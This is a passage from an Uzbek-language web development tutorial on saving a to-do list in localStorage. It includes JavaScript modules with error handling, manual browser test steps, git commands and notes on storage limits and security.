holat.js— boshlang'ich ro'yxat: saqlangan bo'lsa o'shani, bo'lmasaboshlangichVazifalar.asosiy.js— ro'yxat har o'zgarganda (obuna orqali) avval saqlansin, keyin chizilsin. Import ham saqlansin.index.html—saqlash.jsuchunmodulepreloadqo'shing, pastdagi "v2: … saqlash 11-qismda" yozuvini yangilang.
Ishora: paketniOqi buzuq yoki noto'g'ri matnda VazifaXatosi tashlaydi va kerakli hamma tekshiruvni allaqachon qiladi — uni qayta yozmang. Saqlangan bo'sh ro'yxat ([]) — foydalanuvchi hammasini o'chirgan; uni boshlangichVazifalar bilan almashtirmang (??, || emas).
Yechim
assets/js/saqlash.js:
// saqlash.js — vazifalarni brauzer xotirasida saqlash va o'qish
import { eksportMatni, paketniOqi } from "./paket.js";
export const SAQLASH_KALITI = "vazifalar:v3";
export function saqla(royxat) {
try {
localStorage.setItem(SAQLASH_KALITI, eksportMatni(royxat));
return true;
} catch (xato) {
console.warn(`Vazifalar saqlanmadi: ${xato.name}`);
return false;
}
}
export function yukla() {
let matn;
try {
matn = localStorage.getItem(SAQLASH_KALITI);
} catch (xato) {
console.warn(`Xotirani o'qib bo'lmadi: ${xato.name}`);
return null;
}
if (matn === null) {
return null;
}
try {
return paketniOqi(matn);
} catch (xato) {
console.warn(`Saqlangan vazifalar buzuq: ${xato.message}`);
return null;
}
}Nimaga qarang:
- Format — eksport bilan bir xil.
{versiya: 1, vazifalar: [...]}. Shuning uchun o'qishda 10-qismdagipaketniOqihamma tekshiruvni qiladi: JSON to'g'rimi, versiya 1 mi, har vazifadaid,matn,bajarildito'g'rimi. Saqlash ham "o'zimizga eksport, o'zimizdan import". - Ikki alohida
try. Birinchisi omborga kirishni (SecurityError), ikkinchisi matnni (VazifaXatosi) ushlaydi. Xabarlar har xil — DevTools'da qaysi biri bo'lganini darhol ko'rasiz. - Kalit —
SAQLASH_KALITIkonstantasi. Format bir kun o'zgarsa,"vazifalar:v4"ga o'tasiz va eski yozuv yangi kodni buzmaydi.
assets/js/holat.js — ikki qator o'zgaradi:
import { VazifalarRoyxati } from "./royxat.js";
import { yukla } from "./saqlash.js";
// ...
export const holat = {
vazifalar: VazifalarRoyxati.dan(yukla() ?? boshlangichVazifalar),
filtr: "hammasi",
tahrirId: null,
};assets/js/asosiy.js — yangi import va bitta yordamchi funksiya; obuna(render) ikki joyda obuna(saqlaVaChiz) ga almashadi:
import { saqla } from "./saqlash.js";
// ...
// Ro'yxat o'zgarsa: avval xotiraga, keyin ekranga
function saqlaVaChiz() {
saqla(holat.vazifalar);
render();
}
function royxatniAlmashtir(malumotlar) {
holat.vazifalar = VazifalarRoyxati.dan(malumotlar);
holat.vazifalar.obuna(saqlaVaChiz);
holat.filtr = "hammasi";
holat.tahrirId = null;
saqlaVaChiz();
}
// ...
// Ishga tushirish
holat.vazifalar.obuna(saqlaVaChiz);
render();Import yangi ro'yxat yasaydi — unga ham saqlaVaChiz obuna bo'ladi va darhol bir marta saqlanadi. Ishga tushishda esa faqat render(): o'qilgan ro'yxatni qayta yozishdan foyda yo'q. Import yo'nalishi buzilmadi: holat → saqlash → paket → vazifa, aylana yo'q.
Bitta nozik joy. Yangi saqlash.js moduli paket.js ni oddiy import bilan oladi — saqlangan ro'yxatni o'qish uchun u ishga tushishdayoq kerak. Demak paket.js endi sahifa ochilishidayoq yuklanadi (statik import). Dinamik import() darsida yozgan paketniYukla() (await import("./paket.js")) endi yuklashni tejamaydi. Hozircha unga tegmang — zarari yo'q: modul bir marta yuklanadi, ikkinchi import keshdan oladi. Yakuniy loyihada (Saqlanadigan va sinxronlanadigan vazifalar ilovasi) buni o'lchab ko'ramiz, paketniYukla() ni olib tashlaymiz va paket.js uchun modulepreload ni qaytaramiz. Texnikaning o'zi to'g'ri — faqat bu holatda foydasi qolmadi.
Brauzerda sinang (Live Server):
- Vazifa qo'shing, bittasini belgilang →
F5→ hammasi joyida. - Application panelida
vazifalar:v3qiymatini buzing (masalan oxirgi}ni o'chiring) →F5→ konsoldaSaqlangan vazifalar buzuq: Matn JSON emas. Eksportni to'liq oling., ro'yxat — boshlang'ich uchta. - Hamma vazifani o'chiring →
F5→ ro'yxat bo'sh qoladi, boshlang'ich uchta qaytib kelmaydi. - Import qiling →
F5→ import qilingan ro'yxat.
Bu to'rt holat Chrome 154 da tekshirildi.
git add index.html assets/js/saqlash.js
git add assets/js/holat.js assets/js/asosiy.js
git commit -m "Vazifalar: ro'yxatni localStorage'da saqla"
git switch main
git merge feature/saqlash
git branch -d feature/saqlash
git push10. Real ishda
- Sozlamalar. YouTube ovoz balandligini, GitHub temani, Telegram Web oxirgi ochilgan chatni brauzer xotirasida eslab qoladi. Bularning hammasi — kichik, maxfiy bo'lmagan, yo'qolsa fojia bo'lmaydigan ma'lumot.
- Kesh. Serverdan kelgan ro'yxatni
localStorageda saqlab, keyingi ochilishda darhol ko'rsatish, keyin yangisini so'rash.vazifalaryakuniy loyihasida aynan shunday qilamiz (Saqlanadigan va sinxronlanadigan vazifalar ilovasi). - Kutubxonalar. React'dagi holat kutubxonalarida (masalan Zustand'ning
persistqo'shimchasi) "holatnilocalStoragega yoz" degan tayyor yechim bor — ichida bugungisetItemvaJSON.stringify. React 17-qismda; hozir bilish shart emas. - Intervyu. "
localStorage,sessionStorageva cookie farqi?", "Tokenni qayerda saqlaysiz va nega?" — frontend intervyusining doimiy savollari. Ikkinchisini keyingi darsda to'liq yechamiz.
Xulosa
localStorage— origin uchun doimiy,sessionStorage— tab uchun vaqtinchalik "kalit — qiymat" ombori; metodlari bir xil.- Faqat satr saqlanadi: obyekt va massiv —
JSON.stringifybilan yoziladi,JSON.parsebilan o'qiladi,parseesatryichida. - Taxminan 5 MB; oshsa —
QuotaExceededError. Ombor umuman yopiq bo'lishi ham mumkin —SecurityError. Ikkalasi ham ilovani yiqitmasin. storagehodisasi boshqa tablarga "ombor o'zgardi" deb xabar beradi, o'zgartirgan tabga emas.- Maxfiy ma'lumot — yo'q: sahifadagi har qanday skript omborni to'liq o'qiydi.
Keyingi dars: Cookie'lar JS'dan — har so'rov bilan serverga ketadigan kichik ombor: document.cookie, muddat, SameSite, JavaScript ko'rmaydigan HttpOnly va zamonaviy Cookie Store API.
Manbalar
- HTML Living Standard: "Web storage" (
Storageinterfeysi,storagehodisasi) — html.spec.whatwg.org - MDN: "Web Storage API", "Window: localStorage property", "Window: storage event" — developer.mozilla.org
- MDN: "Storage quotas and eviction criteria" — developer.mozilla.org
- web.dev: "Storage for the web" — web.dev
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!